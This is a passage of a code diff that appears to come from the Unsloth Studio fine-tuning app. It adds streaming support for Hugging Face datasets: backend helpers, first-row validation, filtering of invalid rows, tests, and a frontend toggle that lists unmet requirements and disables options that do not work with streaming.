+    from utils.datasets.raw_text import _drop_invalid_text_rows
+
+    def _gen():
+        yield {"text": "valid row"}
+        yield {"text": None}  # invalid, should be dropped
+        yield {"text": "another row"}
+
+    stream = datasets.IterableDataset.from_generator(_gen)
+    # Precondition: column_names is None on a raw from_generator dataset.
+    assert (
+        stream.column_names is None
+    ), "precondition failed: expected column_names=None for from_generator dataset"
+
+    filtered, notices = _drop_invalid_text_rows(
+        stream, mode_title = "Raw text", split_scope = "test split"
+    )
+
+    rows = list(filtered)
+    assert [r["text"] for r in rows] == ["valid row", "another row"]
+    # At least one info/warning notice about dropped rows.
+    assert len(notices) >= 1
+
+
+# _preflight_first_batch returns error string on empty dataloader
+
+
+def test_preflight_first_batch_returns_error_on_empty_stream():
+    # StopIteration from an empty dataloader must return a clear
+    # error string (not None). Test via a minimal stub, no real model needed.
+    import types
+    import sys
+
+    # Minimal stub trainer whose get_train_dataloader() yields nothing.
+    class _EmptyLoader:
+        def __iter__(self):
+            return iter([])
+
+    class _StubTrainer:
+        def get_train_dataloader(self):
+            return _EmptyLoader()
+
+    # Load UnslothTrainer class from trainer.py via importlib to avoid heavy imports.
+    trainer_path = _BACKEND_ROOT / "core" / "training" / "trainer.py"
+    spec = importlib.util.spec_from_file_location("trainer_module", trainer_path)
+    trainer_mod = importlib.util.module_from_spec(spec)
+    # Provide a minimal sys.modules shim so top-level imports in trainer.py don't
+    # crash when optional heavy deps (torch, unsloth) are absent.
+    _orig_import = __builtins__.__import__ if hasattr(__builtins__, "__import__") else __import__
+
+    try:
+        spec.loader.exec_module(trainer_mod)
+    except Exception:
+        # trainer.py has optional heavy imports; access _preflight_first_batch directly.
+        pass
+
+    # If we successfully loaded the module, find the trainer class.
+    trainer_cls = None
+    for name, obj in vars(trainer_mod).items() if "trainer_mod" in dir() else []:
+        # Only real classes — when heavy deps are stubbed with MagicMock,
+        # hasattr() is always True on a mock, so guard on isinstance(obj, type)
+        # to avoid picking a mock instance (object.__new__ would then reject it).
+        if isinstance(obj, type) and hasattr(obj, "_preflight_first_batch"):
+            trainer_cls = obj
+            break
+
+    if trainer_cls is None:
+        pytest.skip("Could not load trainer module (missing optional deps: torch/unsloth).")
+
+    # Build a bare instance without calling __init__ (avoids needing real deps).
+    instance = object.__new__(trainer_cls)
+    instance.trainer = _StubTrainer()
+    instance.model_name = "stub-model"
+
+    result = instance._preflight_first_batch()
+
+    assert result is not None, (
+        "_preflight_first_batch must return an error string (not None) when the "
+        "training dataloader is empty."
+    )
+    assert isinstance(result, str)
+    # The message should indicate there are no training rows / empty dataset.
+    assert any(kw in result.lower() for kw in ("empty", "no training", "no rows", "stream"))
diff --git a/studio/backend/utils/datasets/chat_templates.py b/studio/backend/utils/datasets/chat_templates.py
index 82a30fd55b..1da0bb818f 100644
--- a/studio/backend/utils/datasets/chat_templates.py
+++ b/studio/backend/utils/datasets/chat_templates.py
@@ -7,6 +7,7 @@ Apply chat templates to datasets and generate dataset info summaries.
 """
 
 from .format_detection import detect_dataset_format, detect_multimodal_dataset, detect_custom_format_heuristic
+from .iterable import is_streaming_dataset
 from .model_mappings import MODEL_TO_TEMPLATE_MAPPER
 from loggers import get_logger
 logger = get_logger(__name__)
@@ -238,7 +239,13 @@ def apply_chat_template_to_dataset(
                 return result
 
             try:
-                dataset = dataset.map(_apply_custom_mapping, batched = True, batch_size = batch_size)
+                # Mirror the other call sites: omit eager-only kwargs (num_proc/desc)
+                # for streaming IterableDatasets, whose .map() rejects them.
+                custom_map_kwargs = {"batched": True, "batch_size": batch_size}
+                if not is_streaming_dataset(dataset):
+                    custom_map_kwargs["desc"] = "Applying custom ChatML mapping"
+                dataset = dataset.map(_apply_custom_mapping, **custom_map_kwargs)
+                # Update to use conversations format
                 final_format = "chatml_conversations"
                 chat_column = "conversations"
                 is_standardized = True
@@ -295,13 +302,9 @@ def apply_chat_template_to_dataset(
                 'batch_size': batch_size,
             }
 
-            try:
-                from torch.utils.data import IterableDataset
-                _is_torch_iterable = isinstance(dataset, IterableDataset)
-            except ImportError:
-                _is_torch_iterable = False
+            is_iterable = is_streaming_dataset(dataset)
 
-            if not _is_torch_iterable:
+            if not is_iterable:
                 from utils.hardware import dataset_map_num_proc
                 if num_proc is None or type(num_proc) is not int:
                     num_proc = dataset_map_num_proc()
@@ -362,18 +365,14 @@ def apply_chat_template_to_dataset(
             return {"text": texts}
 
         try:
-            try:
-                from torch.utils.data import IterableDataset
-                _is_torch_iterable = isinstance(dataset, IterableDataset)
-            except ImportError:
-                _is_torch_iterable = False
+            is_iterable = is_streaming_dataset(dataset)
 
             dataset_map_kwargs = {
                 'batched': True,
                 'batch_size': batch_size,
             }
 
-            if not _is_torch_iterable:
+            if not is_iterable:
                 from utils.hardware import dataset_map_num_proc
                 if num_proc is None or type(num_proc) is not int:
                     num_proc = dataset_map_num_proc()
@@ -384,7 +383,7 @@ def apply_chat_template_to_dataset(
 
             # Monitor dataset.map() tqdm progress and relay it.
             _tqdm_monitor_stop = None
-            if progress_callback and not _is_torch_iterable:
+            if progress_callback and not is_iterable:
                 import threading
                 from tqdm.auto import tqdm as _tqdm_cls
 
diff --git a/studio/backend/utils/datasets/dataset_utils.py b/studio/backend/utils/datasets/dataset_utils.py
index faa3deac70..f81a20ad6e 100644
--- a/studio/backend/utils/datasets/dataset_utils.py
+++ b/studio/backend/utils/datasets/dataset_utils.py
@@ -1203,7 +1203,10 @@ def format_and_template_dataset(
         requires_manual = dataset_info.get("requires_manual_mapping", False)
         if final_format == "unknown" and template_result["success"]:
             out_ds = template_result["dataset"]
-            if hasattr(out_ds, "column_names") and "text" in out_ds.column_names:
+            # IterableDataset.column_names can be None after .map() loses features;
+            # guard to avoid `"text" in None` -> TypeError on streaming datasets.
+            out_columns = getattr(out_ds, "column_names", None)
+            if out_columns is not None and "text" in out_columns:
                 final_format = "chatml_conversations"
                 requires_manual = False
 
diff --git a/studio/backend/utils/datasets/format_conversion.py b/studio/backend/utils/datasets/format_conversion.py
index cb24bd96ba..95c9a00534 100644
--- a/studio/backend/utils/datasets/format_conversion.py
+++ b/studio/backend/utils/datasets/format_conversion.py
@@ -5,7 +5,7 @@
 
 import os
 
-from datasets import IterableDataset
+from .iterable import is_streaming_dataset
 from loggers import get_logger
 
 logger = get_logger(__name__)
@@ -37,9 +37,8 @@ def standardize_chat_format(
     """
     import collections
     import itertools
-    from datasets import IterableDataset
 
-    # Detect a vision tokenizer
+    # Check if vision tokenizer is used
     is_vlm = False
     if tokenizer is not None:
         if hasattr(tokenizer, "image_processor") or hasattr(tokenizer, "tokenizer"):
@@ -151,7 +150,7 @@ def standardize_chat_format(
         "batch_size": batch_size,
     }
 
-    if not isinstance(dataset, IterableDataset):
+    if not is_streaming_dataset(dataset):
         from utils.hardware import dataset_map_num_proc
 
         if num_proc is None or type(num_proc) is not int:
@@ -162,7 +161,20 @@ def standardize_chat_format(
         dataset_map_kwargs["num_proc"] = num_proc
         dataset_map_kwargs["desc"] = "Standardizing chat format"
 
-    return dataset.map(_standardize_dataset, **dataset_map_kwargs)
+    result = dataset.map(_standardize_dataset, **dataset_map_kwargs)
+
+    # For streaming, force the first mapped row through now so any
+    # column/format errors surface before training begins (not mid-iteration).
+    # IterableDataset re-iterates from the generator source, so this is safe.
+    if is_streaming_dataset(dataset):
+        try:
+            next(iter(result))
+        except Exception as exc:
+            raise ValueError(
+                f"Streaming chat-format standardization failed on the first row: {exc}"
+            ) from exc
+
+    return result
 
 
 def convert_chatml_to_alpaca(
@@ -178,11 +190,7 @@ def convert_chatml_to_alpaca(
     - "messages" or "conversations" column
     - "role"/"content" (standard) or "from"/"value" (ShareGPT)
     """
-    try:
-        from torch.utils.data import IterableDataset
-        _is_torch_iterable = isinstance(dataset, IterableDataset)
-    except ImportError:
-        _is_torch_iterable = False
+    is_iterable = is_streaming_dataset(dataset)
 
     def _convert(examples):
         chatml_data = examples.get(chat_column) if chat_column else None
@@ -226,7 +234,7 @@ def convert_chatml_to_alpaca(
         "batch_size": batch_size,
     }
 
-    if not _is_torch_iterable:
+    if not is_iterable:
         from utils.hardware import dataset_map_num_proc
 
         if num_proc is None or type(num_proc) is not int:
@@ -237,7 +245,20 @@ def convert_chatml_to_alpaca(
         dataset_map_kwargs["num_proc"] = num_proc
         dataset_map_kwargs["desc"] = "Converting ChatML to Alpaca format"
 
-    return dataset.map(_convert, **dataset_map_kwargs)
+    result = dataset.map(_convert, **dataset_map_kwargs)
+
+    # For streaming, force the first mapped row through now so any
+    # column/format errors surface before training begins (not mid-iteration).
+    # IterableDataset re-iterates from the generator source, so this is safe.
+    if is_iterable:
+        try:
+            next(iter(result))
+        except Exception as exc:
+            raise ValueError(
+                f"Streaming ChatML-to-Alpaca conversion failed on the first row: {exc}"
+            ) from exc
+
+    return result
 
 
 def convert_alpaca_to_chatml(
@@ -250,11 +271,7 @@ def convert_alpaca_to_chatml(
 
     Output: 'conversations' column with standard 'role'/'content' dicts.
     """
-    try:
-        from torch.utils.data import IterableDataset
-        _is_torch_iterable = isinstance(dataset, IterableDataset)
-    except ImportError:
-        _is_torch_iterable = False
+    is_iterable = is_streaming_dataset(dataset)
 
     def _convert(examples):
         conversations = []
@@ -283,7 +300,7 @@ def convert_alpaca_to_chatml(
         "batch_size": batch_size,
     }
 
-    if not _is_torch_iterable:
+    if not is_iterable:
         from utils.hardware import dataset_map_num_proc
 
         if num_proc is None or type(num_proc) is not int:
@@ -294,7 +311,20 @@ def convert_alpaca_to_chatml(
         dataset_map_kwargs["num_proc"] = num_proc
         dataset_map_kwargs["desc"] = "Converting Alpaca to ChatML format"
 
-    return dataset.map(_convert, **dataset_map_kwargs)
+    result = dataset.map(_convert, **dataset_map_kwargs)
+
+    # For streaming, force the first mapped row through now so any
+    # column/format errors surface before training begins (not mid-iteration).
+    # IterableDataset re-iterates from the generator source, so this is safe.
+    if is_iterable:
+        try:
+            next(iter(result))
+        except Exception as exc:
+            raise ValueError(
+                f"Streaming Alpaca-to-ChatML conversion failed on the first row: {exc}"
+            ) from exc
+
+    return result
 
 
 def _format_eta(seconds):
diff --git a/studio/backend/utils/datasets/iterable.py b/studio/backend/utils/datasets/iterable.py
new file mode 100644
index 0000000000..8408ef75f3
--- /dev/null
+++ b/studio/backend/utils/datasets/iterable.py
@@ -0,0 +1,20 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Helpers for dataset iterable detection."""
+
+
+def is_streaming_dataset(dataset) -> bool:
+    """Return True for iterable datasets that do not support eager map kwargs."""
+    try:
+        from datasets import IterableDataset as HfIterableDataset
+        if isinstance(dataset, HfIterableDataset):
+            return True
+    except ImportError:
+        pass
+
+    try:
+        from torch.utils.data import IterableDataset as TorchIterableDataset
+        return isinstance(dataset, TorchIterableDataset)
+    except ImportError:
+        return False
diff --git a/studio/backend/utils/datasets/raw_text.py b/studio/backend/utils/datasets/raw_text.py
index 03315fb287..112528fdd0 100644
--- a/studio/backend/utils/datasets/raw_text.py
+++ b/studio/backend/utils/datasets/raw_text.py
@@ -22,10 +22,36 @@ class RawTextPreparationResult:
     notices: list[RawTextNotice]
 
 
+def resolve_column_names(dataset) -> list[str]:
+    """Return the column names for *dataset*, guarding against None.
+
+    IterableDataset.column_names is None until HF datasets>=X materialises
+    it from the first batch; .map() also keeps it None.  Resolution order:
+      1. dataset.column_names if truthy (regular Dataset or HF>=4.4)
+      2. keys of dataset.features if available
+      3. bounded first-row probe, consumes one element, safe on IterableDataset
+         because HF re-iterates from the generator on the next pass
+      4. [] as a last resort so callers never see None
+    """
+    col_names = getattr(dataset, "column_names", None)
+    if col_names:
+        return list(col_names)
+
+    features = getattr(dataset, "features", None)
+    if features:
+        return list(features.keys())
+
+    try:
+        first_row = next(iter(dataset))
+        return list(first_row.keys())
+    except Exception:
+        return []
+
+
 def _string_columns(dataset: Dataset) -> list[str]:
     feature_map = getattr(dataset, "features", {}) or {}
     string_cols: list[str] = []
-    for col in dataset.column_names:
+    for col in resolve_column_names(dataset):
         feature = feature_map.get(col)
         dtype = str(getattr(feature, "dtype", ""))
         if dtype in {"string", "large_string"}:
@@ -40,7 +66,24 @@ def _split_scope(split_name: str | None) -> str:
 def _drop_invalid_text_rows(
     dataset: Dataset, *, mode_title: str, split_scope: str
 ) -> tuple[Dataset, list[RawTextNotice]]:
+    # Lazy filter — drops rows whose 'text' is null/non-string before they reach
+    # the tokenizer. Works on both Dataset and streaming IterableDataset.
     filtered_dataset = dataset.filter(lambda ex: isinstance(ex["text"], str))
+
+    # Streaming datasets (IterableDataset) have no __len__, so we can't count the
+    # dropped rows or verify the result is non-empty without consuming the whole
+    # stream. Keep the filter, skip only the len()-based diagnostics.
+    if not hasattr(dataset, "__len__"):
+        return filtered_dataset, [
+            RawTextNotice(
+                message = (
+                    f"{mode_title}: streaming dataset — rows with null or "
+                    f"non-string 'text' in {split_scope} are dropped on the fly."
+                ),
+                level = "info",
+            )
+        ]
+
     dropped_rows = len(dataset) - len(filtered_dataset)
     if not dropped_rows:
         return filtered_dataset, []
@@ -75,12 +118,13 @@ def prepare_raw_text_dataset(
     mode_title = mode_label.capitalize()
     split_scope = _split_scope(split_name)
 
-    if "text" not in dataset.column_names:
+    col_names = resolve_column_names(dataset)
+    if "text" not in col_names:
         string_cols = _string_columns(dataset)
         if not string_cols:
             raise ValueError(
                 f"{mode_title} training requires a string 'text' column but none "
-                f"was found in {split_scope} (columns: {dataset.column_names})."
+                f"was found in {split_scope} (columns: {col_names})."
             )
 
         renamed_col = string_cols[0]
diff --git a/studio/frontend/src/features/studio/sections/dataset-section.tsx b/studio/frontend/src/features/studio/sections/dataset-section.tsx
index 32f7990d07..285644c5d4 100644
--- a/studio/frontend/src/features/studio/sections/dataset-section.tsx
+++ b/studio/frontend/src/features/studio/sections/dataset-section.tsx
@@ -3,6 +3,7 @@
 
 import { SectionCard } from "@/components/section-card";
 import { Button } from "@/components/ui/button";
+import { Checkbox } from "@/components/ui/checkbox";
 import {
   Collapsible,
   CollapsibleContent,
@@ -44,6 +45,9 @@ import {
   useTrainingConfigStore,
   type LocalDatasetInfo,
 } from "@/features/training";
+// Imported directly from the store module rather than the "@/features/training"
+// barrel to avoid an import cycle (the barrel re-exports this section's siblings).
+import { hasSeparateStreamingEvalSplit } from "@/features/training/stores/training-config-store";
 import { useNavigate } from "@tanstack/react-router";
 import {
   ArrowDown01Icon,
@@ -77,6 +81,7 @@ import { useShallow } from "zustand/react/shallow";
 import { DocumentUploadRedirectDialog } from "./document-upload-redirect-dialog";
 import { translate, useT } from "@/i18n";
 import { S3ConfigForm } from "./s3-config-form";
+import { usePlatformStore } from "@/config/env";
 
 const TRAINING_UPLOAD_EXTENSIONS = [
   ".csv",
@@ -162,13 +167,21 @@ export function DatasetSection() {
     setDatasetSplit,
     datasetEvalSplit,
     setDatasetEvalSplit,
+    datasetStreaming,
+    setDatasetStreaming,
+    trainOnCompletions,
+    maxSteps,
+    evalSteps,
+    isVisionModel,
+    isAudioModel,
+    isEmbeddingModel,
+    isDatasetImage,
+    isDatasetAudio,
     uploadedFile,
     uploadedEvalFile,
     setUploadedEvalFile,
     hfToken,
     modelType,
-    isVisionModel,
-    isAudioModel,
     datasetSliceStart,
     setDatasetSliceStart,
     datasetSliceEnd,
@@ -188,13 +201,21 @@ export function DatasetSection() {
       setDatasetSplit: s.setDatasetSplit,
       datasetEvalSplit: s.datasetEvalSplit,
       setDatasetEvalSplit: s.setDatasetEvalSplit,
+      datasetStreaming: s.datasetStreaming,
+      setDatasetStreaming: s.setDatasetStreaming,
+      trainOnCompletions: s.trainOnCompletions,
+      maxSteps: s.maxSteps,
+      evalSteps: s.evalSteps,
+      isVisionModel: s.isVisionModel,
+      isAudioModel: s.isAudioModel,
+      isEmbeddingModel: s.isEmbeddingModel,
+      isDatasetImage: s.isDatasetImage,
+      isDatasetAudio: s.isDatasetAudio,
       uploadedFile: s.uploadedFile,
       uploadedEvalFile: s.uploadedEvalFile,
       setUploadedEvalFile: s.setUploadedEvalFile,
       hfToken: s.hfToken,
       modelType: s.modelType,
-      isVisionModel: s.isVisionModel,
-      isAudioModel: s.isAudioModel,
       datasetSliceStart: s.datasetSliceStart,
       setDatasetSliceStart: s.setDatasetSliceStart,
       datasetSliceEnd: s.datasetSliceEnd,
@@ -202,6 +223,57 @@ export function DatasetSection() {
     })),
   );
 
+  const platformDeviceType = usePlatformStore((s) => s.deviceType);
+
+  // Streaming is only supported for Hugging Face text datasets. Rather than
+  // hiding the toggle when a constraint isn't met, keep it visible but disabled
+  // and list the exact unmet requirement(s) in its tooltip — a control that
+  // silently disappears is confusing. Downstream preprocessing
+  // (convert_to_vlm_format, audio collators) needs random access and would
+  // crash on an IterableDataset, hence the constraints below.
+  const streamingBlockers: string[] = [];
+  if (datasetSource !== "huggingface")
+    streamingBlockers.push(
+      "Use a Hugging Face dataset (not a local upload or S3 source).",
+    );
+  if (maxSteps <= 0)
+    streamingBlockers.push(
+      "Set Max Steps > 0 — streaming datasets have no known length.",
+    );
+  if (trainOnCompletions)
+    streamingBlockers.push('Turn off "Assistant completions only".');
+  if (!hasSeparateStreamingEvalSplit({ evalSteps, datasetSplit, datasetEvalSplit }))
+    streamingBlockers.push(
+      "Pick a separate eval split — evaluation is on but no distinct eval split is set.",
+    );
+  if (isVisionModel)
+    streamingBlockers.push("Vision models don't support streaming.");
+  if (isAudioModel)
+    streamingBlockers.push("Audio models don't support streaming.");
+  if (isEmbeddingModel)
+    streamingBlockers.push(
+      "Embedding models don't support streaming (training needs the full dataset).",
+    );
+  if (isDatasetImage)
+    streamingBlockers.push("This dataset looks like images, which can't stream.");
+  if (isDatasetAudio)
+    streamingBlockers.push("This dataset looks like audio, which can't stream.");
+  if (platformDeviceType === "mac")
+    streamingBlockers.push(
+      "Streaming isn't supported on Apple Silicon (MLX) yet.",
+    );
+
+  const isStreamingSupported = streamingBlockers.length === 0;
+
+  // If streaming was previously enabled but the config became incompatible
+  // (model switched to vision, dataset detected as image, etc.), clear it so
+  // the backend never receives a stale flag.
+  useEffect(() => {
+    if (datasetStreaming && !isStreamingSupported) {
+      setDatasetStreaming(false);
+    }
+  }, [datasetStreaming, isStreamingSupported, setDatasetStreaming]);
+
   const [searchQuery, setSearchQuery] = useState("");
   const [advancedOpen, setAdvancedOpen] = useState(false);
   const [pickerTab, setPickerTab] = useState<"huggingface" | "local">(
@@ -1116,6 +1188,56 @@ export function DatasetSection() {
                     </SelectContent>
                   </Select>
                 </div>
+                <div className="flex items-center gap-2">
+                  <Checkbox
+                    id="datasetStreaming"
+                    checked={datasetStreaming}
+                    disabled={!isStreamingSupported}
+                    onCheckedChange={(v) => setDatasetStreaming(!!v)}
+                  />
+                  <label
+                    htmlFor="datasetStreaming"
+                    className={`text-xs text-muted-foreground ${
+                      isStreamingSupported
+                        ? "cursor-pointer"
+                        : "cursor-not-allowed opacity-60"
+                    }`}
+                  >
+                    Enable streaming
+                  </label>
+                  <Tooltip>
+                    <TooltipTrigger asChild={true}>
+                      <button
+                        type="button"
+                        className="text-foreground/70 hover:text-foreground"
+                      >
+                        <HugeiconsIcon
+                          icon={InformationCircleIcon}
+                          className="size-3"
+                        />
+                      </button>
+                    </TooltipTrigger>
+                    <TooltipContent>
+                      {isStreamingSupported ? (
+                        <span>
+                          Stream Hugging Face text datasets instead of
+                          downloading them.
+                        </span>
+                      ) : (
+                        <div className="max-w-xs">
+                          <p className="font-medium">
+                            Streaming unavailable. To enable:
+                          </p>
+                          <ul className="mt-1 list-disc space-y-0.5 pl-4">
+                            {streamingBlockers.map((reason) => (
+                              <li key={reason}>{reason}</li>
+                            ))}
+                          </ul>
+                        </div>
+                      )}
+                    </TooltipContent>
+                  </Tooltip>
+                </div>
                 <div className="grid grid-cols-2 gap-3">
                   <div className="flex flex-col gap-1.5">
                     <span className="flex items-center gap-1.5 text-xs font-medium text-muted-foreground">
diff --git a/studio/frontend/src/features/studio/sections/params-section.tsx b/studio/frontend/src/features/studio/sections/params-section.tsx
index f254921fa6..059d665122 100644
--- a/studio/frontend/src/features/studio/sections/params-section.tsx
+++ b/studio/frontend/src/features/studio/sections/params-section.tsx
@@ -1067,11 +1067,22 @@ export function ParamsSection(): ReactElement {
                       <Checkbox
                         id="trainOnCompletions"
                         checked={store.trainOnCompletions}
+                        disabled={store.datasetStreaming}
                         onCheckedChange={(v) => store.setTrainOnCompletions(!!v)}
                       />
                       <label
                         htmlFor="trainOnCompletions"
-                        className="text-xs cursor-pointer text-muted-foreground"
+                        aria-disabled={store.datasetStreaming || undefined}
+                        title={
+                          store.datasetStreaming
+                            ? "Not available while dataset streaming is enabled."
+                            : undefined
+                        }
+                        className={`text-xs text-muted-foreground ${
+                          store.datasetStreaming
+                            ? "cursor-not-allowed opacity-60"
+                            : "cursor-pointer"
+                        }`}
                       >
                         {t("studio.params.assistantCompletionsOnly")}
                       </label>
diff --git a/studio/frontend/src/features/studio/training-start-overlay.tsx b/studio/frontend/src/features/studio/training-start-overlay.tsx
index 3b0cce658b..c69b25577c 100644
--- a/studio/frontend/src/features/studio/training-start-overlay.tsx
+++ b/studio/frontend/src/features/studio/training-start-overlay.tsx
@@ -263,6 +263,10 @@ export function TrainingStartOverlay({
   const configuredModel = useTrainingConfigStore((s) => s.selectedModel);
   const datasetSource = useTrainingConfigStore((s) => s.datasetSource);
   const dataset = useTrainingConfigStore((s) => s.dataset);
+  // Streaming runs never fully download the dataset (only small metadata lands
+  // in the HF cache), so the cache-watching download bar would sit near 0%
+  // forever and read as "stuck downloading". Show a streaming note instead.
+  const datasetStreaming = useTrainingConfigStore((s) => s.datasetStreaming);
   // Only HF datasets have a download phase to track; uploaded files are already
   // on disk by the time the overlay shows up.
   const hfDatasetName = datasetSource === "huggingface" ? dataset : null;
@@ -380,7 +384,11 @@ export function TrainingStartOverlay({
               step: currentStep,
             })}
           </AnimatedSpan>
-          {datasetDownload.downloadedBytes > 0 || datasetDownload.cachePath ? (
+          {datasetStreaming ? (
+            <AnimatedSpan className="mt-3 text-muted-foreground">
+              {t("studio.trainingStart.datasetStreaming")}
+            </AnimatedSpan>
+          ) : datasetDownload.downloadedBytes > 0 || datasetDownload.cachePath ? (
             <AnimatedSpan className="mt-3">
               <DownloadRow
                 label={t("studio.trainingStart.dataset")}
diff --git a/studio/frontend/src/features/training/api/mappers.ts b/studio/frontend/src/features/training/api/mappers.ts
index 9f9df8f227..d4c800afe4 100644
--- a/studio/frontend/src/features/training/api/mappers.ts
+++ b/studio/frontend/src/features/training/api/mappers.ts
@@ -87,6 +87,7 @@ export function buildTrainingStartPayload(
     subset: hfDataset ? config.datasetSubset : null,
     train_split: hfDataset ? config.datasetSplit : null,
     eval_split: hfDataset ? config.datasetEvalSplit : null,
+    dataset_streaming: hfDataset ? config.datasetStreaming : false,
     dataset_slice_start: parseSliceValue(config.datasetSliceStart),
     dataset_slice_end: parseSliceValue(config.datasetSliceEnd),
     local_datasets: localDatasets,
diff --git a/studio/frontend/src/features/training/hooks/use-training-actions.ts b/studio/frontend/src/features/training/hooks/use-training-actions.ts
index 3dec8d3a32..8c2b3e9e77 100644
--- a/studio/frontend/src/features/training/hooks/use-training-actions.ts
+++ b/studio/frontend/src/features/training/hooks/use-training-actions.ts
@@ -88,6 +88,10 @@ export function useTrainingActions() {
           useTrainingConfigStore.setState({
             isDatasetImage: isImage,
             isDatasetAudio: isAudio,
+            // Streaming is unsupported for image/audio datasets; clear the flag
+            // so buildTrainingStartPayload never ships dataset_streaming=true
+            // for a modality the backend would reject with a 422.
+            ...(isImage || isAudio ? { datasetStreaming: false } : {}),
           });
         }
 
diff --git a/studio/frontend/src/features/training/stores/training-config-store.ts b/studio/frontend/src/features/training/stores/training-config-store.ts
index 7f0ad175b9..85ce25aa97 100644
--- a/studio/frontend/src/features/training/stores/training-config-store.ts
+++ b/studio/frontend/src/features/training/stores/training-config-store.ts
@@ -6,6 +6,7 @@ import { authFetch } from "@/features/auth";
 import { isAdapterMethod } from "@/types/training";
 import type { DatasetFormat } from "@/types/training";
 import type { ModelType, StepNumber, TrainingMethod } from "@/types/training";
+import { toast } from "sonner";
 import { create } from "zustand";
 import { persist } from "zustand/middleware";
 import { checkDatasetFormat } from "../api/datasets-api";
@@ -65,6 +66,7 @@ const initialState: TrainingConfigState = {
   datasetSubset: null,
   datasetSplit: null,
   datasetEvalSplit: null,
+  datasetStreaming: false,
   datasetManualMapping: emptyManualMapping(),
   datasetSystemPrompt: "",
   datasetUserTemplate: "",
@@ -125,6 +127,7 @@ const NON_PERSISTED_STATE_KEYS: ReadonlySet<keyof TrainingConfigState> = new Set
   "isDatasetAudio",
   "trainOnCompletions",
   "maxPositionEmbeddings",
+  "isVisionModel",
   "s3Config",
 ]);
 
@@ -165,6 +168,68 @@ function canProceedForStep(state: TrainingConfigState): boolean {
   }
 }
 
+// Single source of truth for the "streaming + eval needs a distinct split"
+// rule. Shared between the store's compatibility patch and the UI gate
+// (DatasetSection) so the two never drift apart.
+export function hasSeparateStreamingEvalSplit(
+  state: Pick<
+    TrainingConfigState,
+    "evalSteps" | "datasetSplit" | "datasetEvalSplit"
+  >,
+): boolean {
+  if (state.evalSteps <= 0) return true;
+  const trainSplit = state.datasetSplit || "train";
+  return !!state.datasetEvalSplit && state.datasetEvalSplit !== trainSplit;
+}
+
+function streamingCompatiblePatch(
+  state: TrainingConfigState,
+): Partial<TrainingConfigState> {
+  const patch: Partial<TrainingConfigState> = {};
+
+  if (state.datasetStreaming && state.maxSteps <= 0) {
+    patch.datasetStreaming = false;
+  }
+
+  // Evaluate the remaining streaming constraints against the *post-patch*
+  // streaming value. If streaming is being turned off in this same patch
+  // (e.g. maxSteps dropped to 0), its other constraints are moot and we must
+  // NOT clobber unrelated user preferences like trainOnCompletions/evalSteps.
+  const willStream =
+    patch.datasetStreaming !== undefined
+      ? patch.datasetStreaming
+      : state.datasetStreaming;
+
+  if (willStream && state.trainOnCompletions) {
+    patch.trainOnCompletions = false;
+  }
+
+  if (willStream && !hasSeparateStreamingEvalSplit(state)) {
+    patch.evalSteps = 0;
+  }
+
+  return patch;
+}
+
+// streamingCompatiblePatch can silently flip streaming-coupled fields. Surface a
+// toast when it does, so the indirect setters (split / eval-split / max-steps /
+// eval-steps) match setDatasetStreaming's "tell the user what changed" behavior.
+function notifyStreamingCompat(patch: Partial<TrainingConfigState>): void {
+  if (patch.datasetStreaming === false) {
+    toast.info("Streaming turned off: streaming needs a fixed Max Steps > 0.");
+    return;
+  }
+  const disabled = [
+    patch.trainOnCompletions === false && "assistant-completions-only",
+    patch.evalSteps === 0 && "evaluation (needs a separate eval split)",
+  ].filter(Boolean);
+  if (disabled.length > 0) {
+    toast.info(
+      `Adjusted for streaming. Disabled incompatible options: ${disabled.join(", ")}.`,
+    );
+  }
+}
+
 type TrainingMethodStatePatch = Partial<
   Pick<
     TrainingConfigState,
@@ -649,15 +714,19 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
           });
         },
         setDatasetSplit: (datasetSplit) => {
+          const state = get();
+          const nextState = { ...state, datasetSplit };
+          const streamingPatch = streamingCompatiblePatch(nextState);
           set({
             datasetSplit,
             datasetManualMapping: emptyManualMapping(),
             isDatasetImage: null,
             isDatasetAudio: false,
             isCheckingDataset: false,
+            ...streamingPatch,
           });
+          notifyStreamingCompat(streamingPatch);
 
-          const state = get();
           const datasetName =
             state.datasetSource === "huggingface"
               ? state.dataset
@@ -681,10 +750,53 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
           runDatasetCheck(datasetName, split);
         },
         setDatasetEvalSplit: (datasetEvalSplit) => {
+          const state = get();
+          const evalSteps = datasetEvalSplit ? 0.1 : 0;
+          const streamingPatch = streamingCompatiblePatch({
+            ...state,
+            datasetEvalSplit,
+            evalSteps,
+          });
           set({
             datasetEvalSplit,
-            evalSteps: datasetEvalSplit ? 0.1 : 0,
+            evalSteps,
+            ...streamingPatch,
           });
+          notifyStreamingCompat(streamingPatch);
+        },
+        setDatasetStreaming: (datasetStreaming) => {
+          if (!datasetStreaming) {
+            set({ datasetStreaming: false });
+            return;
+          }
+
+          const state = get();
+          if (state.maxSteps <= 0) {
+            set({ datasetStreaming: false });
+            toast.warning(
+              "Streaming needs a fixed Max Steps (streaming datasets have no known length). Set Max Steps > 0 first.",
+            );
+            return;
+          }
+
+          const dropsTrainOnCompletions = state.trainOnCompletions;
+          const dropsEval = !hasSeparateStreamingEvalSplit(state);
+
+          set({
+            datasetStreaming: true,
+            trainOnCompletions: false,
+            evalSteps: dropsEval ? 0 : state.evalSteps,
+          });
+
+          if (dropsTrainOnCompletions || dropsEval) {
+            const disabled = [
+              dropsTrainOnCompletions && "assistant-completions-only",
+              dropsEval && "evaluation (needs a separate eval split)",
+            ].filter(Boolean);
+            toast.info(
+              `Streaming enabled. Disabled incompatible options: ${disabled.join(", ")}.`,
+            );
+          }
         },
         setDatasetManualMapping: (datasetManualMapping) =>
           set({ datasetManualMapping }),
@@ -748,13 +860,34 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
           set({ gradientAccumulation }),
         setWeightDecay: (weightDecay) => set({ weightDecay }),
         setWarmupSteps: (warmupSteps) => set({ warmupSteps }),
-        setMaxSteps: (maxSteps) => set({ maxSteps }),
+        setMaxSteps: (maxSteps) => {
+          const state = get();
+          // streamingCompatiblePatch already turns streaming off when maxSteps<=0,
+          // so no separate datasetStreaming reset is needed here.
+          const streamingPatch = streamingCompatiblePatch({ ...state, maxSteps });
+          set({
+            maxSteps,
+            ...streamingPatch,
+          });
+          notifyStreamingCompat(streamingPatch);
+        },
         setSaveSteps: (saveSteps) => set({ saveSteps }),
